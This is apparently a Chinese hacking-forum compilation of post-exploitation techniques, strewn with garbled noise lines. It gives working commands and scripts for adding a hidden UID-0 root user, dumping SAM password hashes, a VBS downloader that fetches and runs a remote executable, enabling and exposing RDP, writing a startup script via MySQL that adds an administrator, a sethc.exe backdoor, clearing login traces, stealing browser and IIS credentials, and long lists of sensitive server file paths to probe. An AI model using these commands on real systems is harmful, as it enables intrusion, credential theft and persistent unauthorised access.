3 x6 F! A7 S" W: f5 H/ j  [) y2 b
+ |2 k# a# J" [+ P七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

八.freebsd本地提权
9 \! [- `* B" }; F* g# @[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
) @# ^$ ~" z( ~& @* vfs.usermount: 1
* [argp@julius ~]$ id
1 z5 L4 E& u5 B# s* uid=1001(argp) gid=1001(argp) groups=1001(argp)
1 p% ?) l, M0 M1 f* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
- o1 q" o0 G) v* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()
9 V5 D7 g+ r5 g% }/ m6 ^
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
' F9 I% M0 L4 I, u% M注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
; T; M7 J1 L9 T7 c}  
- b7 j4 f+ _% U* q/ Z% J! y; J0 @
2 B9 X- {; H$ Z: v9 t提权先执行systeminfo
/ k& ]) f- _- e4 \token 漏洞补丁号 KB956572
/ n) r0 h6 J( b/ p' HChurrasco          kb952004
' z6 }! P; Q4 Q" X1 o/ l! E命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
* i5 e' z- W$ E, I2、收集系统信息的脚本  
for window：
8 f6 X) e1 b5 l; e/ |
$ N4 \5 a' E' X0 L; y, Y' C@echo off
6 m' k2 P) m3 a! aecho #########system info collection
systeminfo
' t8 N8 b! }7 M( I" u, O% ]ver
hostname
4 x3 m5 a) h4 D1 P0 A) dnet user
net localgroup
1 t: l+ }+ a* s8 `) S8 }net localgroup administrators
net user guest
# a6 h) y. _5 Lnet user administrator
+ \. j8 d9 j: x1 P4 c
% q+ f" f3 K4 @3 O& Wecho #######at- with   atq#####
echo schtask /query
/ R- a( ?, F9 W
echo
echo ####task-list#############
tasklist /svc
/ u) Q' z  b( s  N" [/ B' Y- l- Xecho
echo ####net-work infomation
ipconfig/all
% y% f" b1 h  E. y$ H: vroute print
arp -a
netstat -anipconfig /displaydns
echo
* m- n- O/ Q7 X! g5 m7 J3 Vecho #######service############
$ p4 ?4 H. C8 e7 vsc query type= service state= all
8 i' `$ v: Q  a- s( T* ^, [" Pecho #######file-##############
; g  m1 P- |" D, C9 G) H/ mcd \
tree -F
. \' Q+ L! J% |, O5 M6 wfor linux：
) E/ L! z4 F7 b% ^/ T: {! B+ y' z- `1 Z
#!/bin/bash

echo #######geting sysinfo####
: Y2 J0 W; V5 N1 Q' p  t2 mecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
8 n( g$ t9 h( g$ @: G1 Qecho
cat /proc/cpuinfo
echo
  B) Z4 z; s6 L5 R  Y* W* Hrpm -qa 2>/dev/null
######stole the mail......######
' o6 ~3 _8 H; c$ T. T, ncp -a /var/mail /tmp/getmail 2>/dev/null


6 ]# X  f4 L: c: `3 [8 i+ U! G* techo 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
set

  v" w2 `( L. y6 n% M: a* D! wecho #####about network###
/ {0 p# I1 K0 F9 K4 @  w! j####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
- @* a4 d$ O9 g9 \/ L2 eipconfig -a
2 Y2 }* t$ }# F9 \1 E1 N1 Farp -v
echo ########user####
0 ?- _) Z2 S5 E9 bcat /etc/passwd|grep -i sh
& M& V9 S6 c) e
echo ######service####
/ E$ L) e0 G% O( O7 w" z/ achkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
/ C0 s' P# T* R4 Hdone

locate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
) X  y" C: w1 g) o  `! h) Qsleep 5
locate conf >/tmp/sysconfig 2>dev/null
+ ]" }2 h: E9 U5 w) K- A* Msleep 5
6 _' d( d5 O5 r% D# vlocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
7 d* s. e* M% O9 i  ~- e
  O3 Y3 i# L; m8 ?; p1 X- {, |! R###maybe can use "tree /"###
* O1 p; p7 F( K+ secho ##packing up#########
) z7 R. A& }  x9 R: O6 N% I' g! t3 `& dtar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
- i2 g1 @& A5 B——————————————
3、ethash 不免杀怎么获取本机hash。
& K- q7 l4 x. {$ G首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
( a; x' G3 s& y8 Z9 S8 f9 v! C: ^               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
/ G% ^: Z: x5 d. H, p据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
" e4 M: x5 D1 s% M0 c: X1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
) \  e' S# T4 Y' W5 P! Jecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
8 F" f2 v9 o) c) I+ s3 l4 pecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
. e1 O0 T" n5 p6 I! _echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
- A  Z9 I# B7 H' `, oecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
2 C% f9 h/ D, m; r: ]cftmon.vbs

2
* m5 s1 k2 R0 X8 a. p1 sOn Error Resume Nextim iRemote,iLocal,s1,s2
. i7 X7 S+ k" |- p4 z! o; t) H6 E5 S- [iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
# c$ d3 S. S, ySet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
5 v9 ?7 Q$ T. [: BsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

  i. b$ \. W, z$ ocscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

2 Q8 E0 Y) R$ A$ N* W当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
5 y! p- u6 R# S——————————————————
% t- [$ @) a: r+ r4 l" b- S. Y5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
; z$ g% Y  N1 }; b# U$ {) Z2 H8 i4 oREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
) i! e( \% w' b' b3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
* m5 |9 g1 {+ [3 }& g( S& ^* a+ kREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
$ {9 L0 Y: R0 z- u7 D* Y$ o4 A6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
+ L) e( j2 D: Y, a6 Z) I+ kinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
4 r* e5 M" Y) J$ A, B! [- k3 Tselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
# E! t5 _6 p6 y& j. H. C; V9 s_____
; [! L% d: g# s! p8、for /d %i in (d:\freehost\*) do @echo %i

  |4 R* c0 y7 E! [: }列出d的所有目录
8 s3 F+ I/ b$ j: Z) A* o  
  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来
! n: E1 Q; D: Z  B2 d
2.for /r %i in (*.exe) do @echo %i
1 H; T3 [# P" I7 w4 I- h! M  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
  
) H& T' K$ f1 C" m# z3 n  I( S! p  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
# [/ ]9 D9 o1 d2 W
. F% a$ u3 C: r  delims=后的空格是分隔符 tokens是取第几个位置
! l8 G$ p& M7 E& w6 X——————————
+ X" v: x7 I1 L. c●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
: H& |: q4 y6 {. k. k
2.修改3389的默认端口:
! ~1 x6 {9 {) b2 PHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
; R0 b- L4 Z; M4 c5 I
3.清除3389登录记录:
# ~9 h: e! H- E7 z* F+ l8 rreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

2 V; }8 ~! N- g- a  C. A8 z# U5.禁用TCP/IP端口筛选(需重启):
5 `- F" y* r" o# h9 T' r; X4 O, o$ kREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
# b/ V7 U- }' S+ v4 S, L$ \! p
$ ]7 p( V* a: B& c6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
( z7 ]  O/ F# d3 K1 Unetsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
# j) N; [$ z% Vnetsh ipsec static set policy name="myipsec" assign=n
" D2 E  G& a: P- a
8.系统口令恢复LM加密:
1 ?+ d; n$ g1 D+ l! qreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
' [# m: p7 P$ a9 |
( L1 ]: q3 Q/ U& C) ]( |7 P9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
- |  g6 \4 d+ J; A/ U. D; a  Xreg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

$ ?( n) R( E, {& |10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
: g+ R2 O) x6 C' S
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
4 B7 u. V8 R! Q" k4 ?) MchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
" q- l) T( u1 J! u9 \set IIs=objservice.GetObject("IIsWebServer",childObjectName)
3 ~: R1 t$ u* T3 y" p, f  u$ Jif err.number<>0 then
* j8 s/ @# a8 ^exit for
msgbox("error!")
" j- v7 l3 _1 I! z9 bwscript.quit
+ T# q7 Y! N" p1 Vend if
6 |9 k4 p. Z( t( e% A: [serverbindings=IIS.serverBindings
0 m. p$ A7 ^" u1 W# Z! SServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
2 ^5 ]: E7 p, `pass=iisweb.AnonymousUserPass
! ?" s6 u% J. S! bpath=IIsWeb.path
- P( k2 \& b6 l/ m7 Elist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
2 h2 C5 ~  |) B/ T0 R) b# u6 o% u. u" y3 rend if
Next
5 B  c0 X- B6 f4 Bwscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
! {- Y. y; Q. K$ V+ ]WScript.Quit
复制代码
5 M$ P& c. j: q( t8 \# F----------------------2011新气象，欢迎各位补充、指正、优化。----------------
6 B5 k1 c! j( d  K; R5 _1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
/ ?* D/ O! Y# k" u5 L, z8 M  ]2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
5 q/ R8 A1 h% t7 q( x</OBJECT>
- `( l& D5 N' P. M$ k- K3 f& l复制代码
* |- \0 Z" `, t6 x' M然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
4 d4 i2 O+ F! W9 C4 \: ~" M' U: M 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
4 r0 k8 T+ R" R/ v- G3 ] path_info可以直接呈现虚拟路径 顺利解析gif大马

% p- t  q; w4 z3 p) `==============================================================
LINUX常见路径：
+ c% A/ f0 y  b8 a" x5 s+ M
/ H' |4 [) c0 A4 ~: y" j; p/etc/passwd
/etc/shadow
2 m0 z+ c3 B4 N% J2 Y. U' X# ~/etc/fstab
2 V; G$ p# N0 s# U# P8 t/etc/host.conf
/etc/motd
/etc/ld.so.conf
) n6 D/ H: b1 s# u. S/var/www/htdocs/index.php
/var/www/conf/httpd.conf
- e" V7 M: J4 e/ K. K2 \2 b- k* F/var/www/htdocs/index.html
6 X) v% K3 ^- X" [5 z3 W  u/var/httpd/conf/php.ini
0 n0 ?4 `9 ]9 r1 c/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
# W: W( j( c6 n0 b3 w/var/www/index.html
' N. [8 y! e" C6 z$ s/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
# O4 }: ]4 W$ I4 U3 M/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
7 y+ A* n5 |, N5 s1 d7 {  p/tmp/apache/htdocs/index.html
7 s; i* u- S2 Z! s# B: ^/tmp/apache/htdocs/index.php
' p3 H  P/ N$ t7 p) j9 R, Y8 q1 |/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
% [+ }, Z0 p$ F/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
, A) f- y, y/ z) ~" @3 p/www/htdocs/index.php
/www/htdocs/index.html
) e* w9 X, |0 {( F- a/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
2 Z1 `' h0 I% l1 k8 ?/etc/apache/apache.conf
5 i; H3 Q8 s* K8 [3 V/etc/apache2/apache.conf
/etc/apache/httpd.conf
7 l$ e( H& l7 x9 C+ a  n* C. Z1 x/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
" y$ J- l% v/ V: t$ B+ w. L/etc/phpmyadmin/config.inc.php
  S7 X3 g* @1 s5 W" x/etc/mysql/my.cnf
% H* j1 q! j, C# j6 p/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
+ p* A9 `3 ]: _: ]6 v1 j' U0 Z- K/etc/httpd/logs/error.log
% b) b- h/ Y8 q! O1 r7 s/etc/httpd/logs/access_log
2 ?% Y3 F( H* P) U# z5 F* f$ Z/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
! w" _5 s' {0 k; M/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
+ m# n, [" O' W3 y/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
7 q% T" g7 H0 A' x, X' U/var/log/apache2/access_log
( x, A5 k- V- i0 ^  r! F4 E; v/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
, ?$ z* b" ?- [/var/www/logs/access.log
+ y2 u- ]8 w0 ~) k/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
+ J! J) C) N6 V) Q/ B/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
  E1 U0 U! ^  Y+ D- J/ V0 u/var/log/error_log
3 z3 K* D; B8 ]/var/log/error.log
/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
* N* ^! M% g2 c/ Q8 {" A/bin/php.ini
/etc/init.d/httpd
4 c, |! o, p( \8 A/etc/init.d/mysql
- Z( @) N& t  C/etc/httpd/php.ini
3 J8 D  d( R1 x* b) B# A  ^" i6 m/usr/lib/php.ini
/usr/lib/php/php.ini
+ O. \) f2 W+ i+ M1 j/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
: Y! t7 i/ E* f* d. e8 S/usr/local/php4/php.ini
+ k$ r  z4 \; r! W3 x9 W& X! a. a/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
, L$ [7 @1 p: v+ p! T/usr/local/php5/etc/php.ini
5 P8 }! x" v5 b/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
. J5 a& \- C& m, s% K7 [/usr/local/apache/conf/httpd.conf
' z2 S# ^( Y& s" ^! @2 O2 |7 W4 W/usr/local/apache2/conf/httpd.conf
: s' \7 Q+ G' f% }3 L/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
# J5 q5 J/ V/ A! {/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
; I- n- Q/ m+ `" m& z: A/ v7 i/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
! u, }# ~2 l( B/web/conf/php.ini
  w9 }  K7 h* }1 x' x; s1 @7 `/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
; F6 q. Y% z$ ~- \% Z9 [/ ^/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
& Q; b3 c7 J2 A  g/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
! T+ a9 }0 p! [/php4/php.ini
/php/php.ini
) s1 |, \  t1 M4 ]/PHP/php.ini
7 J4 H+ t. z+ R+ G7 i. ?/apache/php/php.ini
, j: P- h4 c* `6 d% m; E' M3 w5 L/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
) s8 }+ H( h" f1 d6 o% t, l/NetServer/bin/stable/apache/php.ini
1 c( n! K$ [6 d! J5 M) f; w/home2/bin/stable/apache/php.ini
2 w* z$ @, D1 E4 u/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
8 l( {9 Y4 b' M$ f; \/var/log/mysql.log
# a' m  ?# L# b7 i/ u) \  h" }$ \/var/log/mysqlderror.log
/var/log/mysql/mysql.log
2 ~8 R) Q" [# g  T6 C& l0 H# Y/var/log/mysql/mysql-slow.log
/var/mysql.log
) T: s8 H* r; ~0 z5 Z9 D/var/lib/mysql/my.cnf
5 Z" y7 {: g/ b1 p2 z/usr/local/mysql/my.cnf
) O1 R: X) V; o  C" u6 B! l/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
; a& B- D; M7 o3 C0 c' F/usr/local/cpanel/logs/access_log
/ c! d/ U8 L3 O5 P8 c; d. x. s- a/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
5 I4 r7 o6 P! Z" ~% A# [3 F; e/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
6 \7 o, Y; o+ Z& B7 T6 O
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
! h+ |' D, b8 i8 x3 F  x. j) b% C! p
c:\windows\php.ini
- i9 p9 h) G  Q5 M- S/ q" g/ N# wc:\boot.ini
" w9 b+ P; i; I! mc:\1.txt
c:\a.txt

c:\CMailServer\config.ini
' \9 o5 `4 n4 N3 Ec:\CMailServer\CMailServer.exe
) O, A" E0 P3 E. M# t/ Yc:\CMailServer\WebMail\index.asp
& _( K3 k3 O( K; j' f9 p& Bc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
5 u' r! T3 q' @  ]! G0 I9 jC:\WINDOWS\FreeHost32.dll
$ r7 H2 a$ |2 G/ j/ s, l) IC:\WINDOWS\7i24iislog4.exe
' F7 ]+ W% A, LC:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp
# F+ l' y0 o: W( ]3 J
0 {/ h5 \, H2 E% @( {3 \% ]c:\hzhost\hzclient.exe
2 Q4 B/ s; E, A0 VC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
4 a7 l! K& k7 W, |6 F4 uc:\website\index.html
c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
5 i) y8 d' [  ~c:\web\index.php
c:\www\index.php
9 J- {( b5 [! C+ qc:\WWWROOT\index.php
. e+ c, N! D, m7 q; O6 h7 gc:\WWWsite\index.php
! w- ~- C3 T7 Q% g- J; yc:\web\default.html
. }$ M& d$ Y, A' f7 j' g; E, O* cc:\www\default.html
/ R. w9 c' [0 [1 o0 hc:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
+ `. T% v! A# V3 D( Oc:\www\default.asp
  K; p9 A# r) ~% K' [c:\wwwsite\default.asp
1 P& `! o8 v' i# \  t. F% [c:\WWWROOT\default.asp
# L% ^$ b( j/ I8 j( h0 T2 c4 oc:\web\default.php
! v( X/ e/ E( @( R! Rc:\www\default.php
c:\WWWROOT\default.php
. r! ~" H- R0 K& R& u7 P3 }c:\WWWsite\default.php
! E1 i" a7 @- C' o+ N, \C:\Inetpub\wwwroot\pagerror.gif
4 y: V' @9 m4 _# h5 fc:\windows\notepad.exe
* r4 w3 ?$ O! ]* bc:\winnt\notepad.exe
8 M8 `0 ~- w" F( h+ w6 c$ b$ SC:\Program Files\Microsoft Office\OFFICE10\winword.exe
( E% R. W/ n4 h( K+ u6 QC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
) T" e  ?3 z4 w8 J! u& s# ~C:\Program Files\Internet Explorer\IEXPLORE.EXE
' D  _/ N9 @9 {, G( QC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
1 g  b* r7 d; {; Y& {; lC:\Program Files\360Safe\360safe.exe
6 S: \/ S% t* C' h! bC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
* q/ J* n. y6 ?/ h: {C:\Program Files\Rising\Rav\RsTask.xml
& `; U8 m* Y8 B8 _C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
$ M0 _. c4 ^" X6 ]C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
+ a! q% v; U. ~) A7 w& ZE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
; h) ~. m  @  K# b) F9 ~7 ]8 e; |% i- MC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
/ {; c, ~8 \6 |0 Z* h, gC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
; O. g. Y8 S! ^% q$ gC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
) f" n- e: D& ?# T' v+ JC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
7 B( \3 I1 X9 AC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
1 {  f+ i% v8 V5 U; `C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
3 a) ^5 P( v; t/ V  }$ y7 iC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
) ^8 W6 G  y3 H: F+ ]# P; WC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
4 `0 Z+ a' x1 ~4 P# `C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
: V4 k( o' L, H; EC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
8 U% N0 E. q% o8 t4 [) Vc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
, R# n+ G# U  g4 wC:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
$ T; U1 Z# J7 S: U% qC:\WINDOWS\system32\inetsrv\w3wp.exe
! D9 _) t( q1 S) n4 ?1 q0 nC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
6 ~0 O! Q  q: {3 kC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
. z. ^; Z7 h" `) }* r5 ac:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
  a* X$ R6 V* i0 H. i3 uc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
; ^9 y) h: p) M# T3 x0 [( ?, i  [* @c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
3 B# c, x6 U9 t1 h1 N4 Uc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
